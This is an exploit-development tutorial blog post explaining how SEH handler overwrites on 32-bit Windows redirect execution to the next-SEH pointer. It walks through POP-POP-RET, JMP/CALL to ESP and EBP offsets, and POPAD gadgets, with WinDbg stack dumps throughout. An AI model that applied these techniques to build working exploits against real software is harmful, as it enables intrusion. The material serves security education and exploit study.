Exploitation techniques utilizing SE Handler overwrites increase reliability by moving execution flow to the address on the stack where the pointer to the next SEH Record is normally located.

There are several approaches to doing this with the 'POP-POP-RET' being the most popular. Let's see exactly why this approach works and analyze potential alternatives such as JMP DWORD PTR [EBP+0x30], POPAD and ROP.

Stack after SEH overflow

Let's overflow a buffer on the stack and overwrite SE Handler with "CCCC" and the next SEH Record field with "BBBB".

0:000> g
(4f8.9ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=7efefefe ebx=7ffdf000 ecx=0012fda0 edx=41414141 esi=0078fec8 edi=00130000
eip=1027d2e9 esp=0012fc1c ebp=0012fe88 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
MSVCR100D!strcat+0x89:
1027d2e9 8917            mov     dword ptr [edi],edx  ds:0023:00130000=78746341

Here is the SEH chain:

0:000> !exchain
0012fe7c: 43434343
Invalid exception stack at 42424242

Where 42424242 is an NSEH Pointer located at 0012fe7c and 43434343 is the SE Handler we have overwritten located at 0012fe80.

Once the exception occurs, let's continue the execution and observe the stack once the SEH pointer gets executed:

0:000> g
(bf8.4f0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
eip=43434343 esp=0012f84c ebp=0012f86c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
43434343 ??              ???

At the point where we attempt (and fail) to execute SEH pointer at an invalid address of 43434343, the ESP register points to the following addresses on the stack:

0:000> dd /c1 esp
0012f84c  7c9032a8
0012f850  0012f934
0012f854  0012fe7c ; nseh
0012f858  0012f950
0012f85c  0012f908
0012f860  0012fe7c ; nseh
0012f864  7c9032bc
0012f868  0012fe7c ; nseh
0012f86c  0012f91c
0012f870  7c90327a
0012f874  0012f934
0012f878  0012fe7c ; nseh
0012f87c  0012f950
0012f880  0012f908
0012f884  43434343
0012f888  00130000
0012f88c  0012f934
0012f890  0012fe7c ; nseh
0012f894  7c92a8c3
0012f898  0012f934
0012f89c  0012fe7c ; nseh
0012f8a0  0012f950
0012f8a4  0012f908
0012f8a8  43434343

The stack is littered with NSEH pointer addresses (0012fe7c). If we could somehow jump, call or return to an address on the stack which contains 0012fe7c value, then it would be possible to redirect execution flow to the stack where we can place shellcode.

Below are all instances of NSEH pointer address in memory:

0:000> s -d 0x00000000 L?0xffffffff 0012fe7c
0012f810  0012fe7c 7c90e920 7c910328 ffffffff  |... ..|(..|....
0012f834  0012fe7c 7c96fd90 00150608 7c96fd74  |......|....t..|
0012f854  0012fe7c 0012f950 0012f908 0012fe7c  |...P.......|...
0012f860  0012fe7c 7c9032bc 0012fe7c 0012f91c  |....2.||.......
0012f868  0012fe7c 0012f91c 7c90327a 0012f934  |.......z2.|4...
0012f878  0012fe7c 0012f950 0012f908 43434343  |...P.......CCCC
0012f890  0012fe7c 7c92a8c3 0012f934 0012fe7c  |......|4...|...
0012f89c  0012fe7c 0012f950 0012f908 43434343  |...P.......CCCC

POP-POP-RET

The most popular way of redirecting the execution to the NSEH pointer is to pop the first DWORDs from the stack into registers and call a value currently pointed by ESP (aka POP POP RET). Below is the location where ESP will point on the stack after popping two values and just before calling RET:

0:000> ?esp + 8
Evaluate expression: 1243220 = 0012f854
0:000> dd /c1 0012f854
0012f854  0012fe7c

After RET instruction is executed, the flow of execution will be redirected to the stack location at the NSEH pointer.

A few other examples which utilize RET instead of CALLs and JMPs:

POPAD | PUSH [EBP/EDX/EAX] | RET
ADD ESP,[8/14/1c/...] | RET

It is also possible to make a few variations on the classic POP-POP-RET as follows:

ADD ESP,4 | POP REG | RET
POP REG | ADD ESP,4 | RET

Where REG could be any convenient register.

JMP/CALL DWORD PTR [ESP + nn]

Alternatively JMP DWORD PTR [ESP +/- offset] or CALL DWORD PTR [ESP +/- offset] could be used to achieve the same result. In the above example jumps or calls to pointers at ESP + 8, ESP + 14, ESP + 1c, ESP + 2c and so on will also achieve the same effect.

0:000> dd /c1 esp
0012f84c  7c9032a8
0012f850  0012f934
0012f854  0012fe7c ; nseh - esp + 8
0012f858  0012f950
0012f85c  0012f908
0012f860  0012fe7c ; nseh - esp + 14
0012f864  7c9032bc
0012f868  0012fe7c ; nseh - esp + 1c
0012f86c  0012f91c
0012f870  7c90327a
0012f874  0012f934
0012f878  0012fe7c ; nseh - esp + 2c
0012f87c  0012f950
0012f880  0012f908
0012f884  43434343
0012f888  00130000
0012f88c  0012f934
0012f890  0012fe7c ; nseh - esp + 44 
0012f894  7c92a8c3
0012f898  0012f934
0012f89c  0012fe7c ; nseh - esp + 50

JMP/CALL DWORD PTR [EBP + nn]

If the use of ESP register is not possible, then EBP could be used as well:

0:000> e ebp
0012f86c 1c

Reference the table below to calculate offsets

0:000> dd /c1 ebp
0012f86c  0012f91c
0012f870  7c90327a
0012f874  0012f934
0012f878  0012fe7c ; nseh - ebp + c (also esp + 2c)
0012f87c  0012f950
0012f880  0012f908
0012f884  43434343
0012f888  00130000
0012f88c  0012f934
0012f890  0012fe7c ; nseh - ebp + 24 (also esp + 44)
0012f894  7c92a8c3
0012f898  0012f934
0012f89c  0012fe7c ; nseh - ebp + 30 (also esp + 50)

Offsets such as EBP + c, EBP + 24, EBP + 30, etc. will do the trick. Naturally it is possible can jump or call backward as well with JMP DWORD PTR [EBP - 4], CALL DWORD PTR [EBP - c] and so on.

POPAD

Another creative way of getting to NSEH pointer is utilizing POPAD instruction. POPAD will pop 7 DWORDS and skip one from the stack and place them into general purpose registers as follows:

EDI ← Pop();
ESI ← Pop();
EBP ← Pop();
increment ESP by 4 (* skip next 4 bytes of stack *)
EBX ← Pop();
EDX ← Pop();
ECX ← Pop();
EAX ← Pop();

On the stack it will look like this

0:000> dd /c1 esp
0012f84c  7c9032a8 ; -----> EDI
0012f850  0012f934 ; -----> ESI
0012f854  0012fe7c ; -----> EBP [ESP + 8]
0012f858  0012f950 ; skipped
0012f85c  0012f908 ; -----> EBX
0012f860  0012fe7c ; -----> EDX [ESP + 14]
0012f864  7c9032bc ; -----> ECX
0012f868  0012fe7c ; <----- EAX [ESP + 1c]

After the execution of the POPAD instruction it is possible to get to NSEH by JMPing or CALLing EBP, EDX or EAX registers. As a complete example, you will need to search the memory for the following sequences of instructions:

POPAD | CALL/JMP EBP
POPAD | CALL/JMP EDX
POPAD | CALL/JMP EAX

External Links and References

Special Note

Most of the above approaches can be automatically identified by Corelan's excellent mona.py ImmDbg plugin.

Published on April 25th, 2012 by iphelix

sprawlsimilar

corelan - tutorial 10 - exercise solution

A solution to an exercise in Corelan Tutorial 10 on writing DEP and ASLR bypassing exploits. The solution illustrates grabbing leaked kernel32 address from memory, calculating an offset to VirtualProtect() and at last setting up a ROP chain to make a memory location with shellcode executable. Read more.

corelan - tutorial 7 - exercise solution

A solution to the AIMP2 exercise at the end of the Exploit Writing Tutorial Part 7 by Corelan Team. The solution illustrates a exploitation of Unicode applications using Venetian shellcoding techniques. Read more.

corelan - tutorial 3b - exercise solution

A solution to the MP3 Studio exercise at the end of the Exploit Writing Tutorial Part 3b by Corelan Team. The solution illustrates a sample buffer overflow exploitation of a Windows application. Read more.

open security training - introductory x86 - buffer overflow mystery box

A walkthrough for the Mystery Box Buffer Overflow challenge in the Open Security Training - Introductory x86 class. Read more.


sprawlcomments

All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

π
///\oo/\\\